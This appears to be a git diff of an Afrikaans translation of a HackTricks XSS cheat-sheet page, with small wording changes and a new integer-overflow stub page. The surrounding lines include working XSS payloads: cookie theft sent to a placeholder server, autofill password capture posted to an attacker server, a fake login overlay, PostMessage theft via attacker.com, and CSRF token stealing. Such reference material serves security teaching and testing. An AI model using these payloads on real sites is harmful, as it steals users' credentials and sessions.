@ -1018,9 +1021,9 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Verduistering & Gevorderde Oorspoel
|
||||
### Obfuskasie & Gevorderde Oorspoel
|
||||
|
||||
* **Verskillende verduisterings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Verskillende obfuskasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1061,6 +1064,14 @@ trigger()
|
|||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Iframe-valstrik
|
||||
|
||||
Laat die gebruiker op die bladsy navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Haal Koekies op
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1173,7 +1184,7 @@ Gaan die lys van verbode porte in Chrome na [**hier**](https://src.chromium.org/
|
|||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Vang van outomatiese wachtwoorde
|
||||
### Self-aanvul wagwoorde vasvang
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1184,7 +1195,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgelek word.
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgefilter word.
|
||||
|
||||
### Sleutelbordopnemer
|
||||
|
||||
|
@ -1210,7 +1221,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Steel van PostMessage-boodskappe
|
||||
### Steel PostMessage-boodskappe
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1301,7 +1312,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS in Markdown
|
||||
|
||||
Kan Markdown-kode inspuit wat gerender sal word? Dalk kan jy XSS kry! Kontroleer:
|
||||
Kan Markdown-kode inspuit wat weergegee sal word? Dalk kan jy XSS kry! Kontroleer:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1318,8 +1329,8 @@ Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injectio
|
|||
|
||||
### XSS in dinamies geskep PDF
|
||||
|
||||
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die bot wat die PDF skep te **mislei** om **arbitrêre JS-kode uit te voer**.\
|
||||
Dus, as die **PDF-skepper-bot** 'n soort **HTML-tjokkies vind**, gaan dit hulle **interpreteer**, en jy kan van hierdie gedrag **misbruik** maak om 'n **Bediener XSS** te veroorsaak.
|
||||
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die **robot te mislei** wat die PDF skep om **arbitrêre JS-kode uit te voer**.\
|
||||
Dus, as die **PDF-skepper-robot** 'n soort **HTML-tjokkies vind**, gaan dit hulle **interpreteer**, en jy kan van hierdie gedrag **misbruik** maak om 'n **Bediener XSS** te veroorsaak.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1335,7 +1346,7 @@ As jy nie HTML-tjokkies kan inspuit nie, kan dit die moeite werd wees om te prob
|
|||
|
||||
AMP, gemik op die versnelling van webbladprestasie op mobiele toestelle, sluit HTML-tjokkies aangevul deur JavaScript in om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n verskeidenheid komponente vir verskeie kenmerke, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud in hul e-posse te interaksioneer.
|
||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud te interaksieer binne hul e-posse.
|
||||
|
||||
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1397,7 +1408,7 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Vind **meer SVG-vragte** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Vind **meer SVG-vragte in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Verskeie JS-truuks & relevante inligting
|
||||
|
||||
|
@ -1413,22 +1424,22 @@ Vind **meer SVG-vragte** in [**https://github.com/allanlw/svg-cheatsheet**](http
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Heelgetal Oorvloei
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Kyk:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue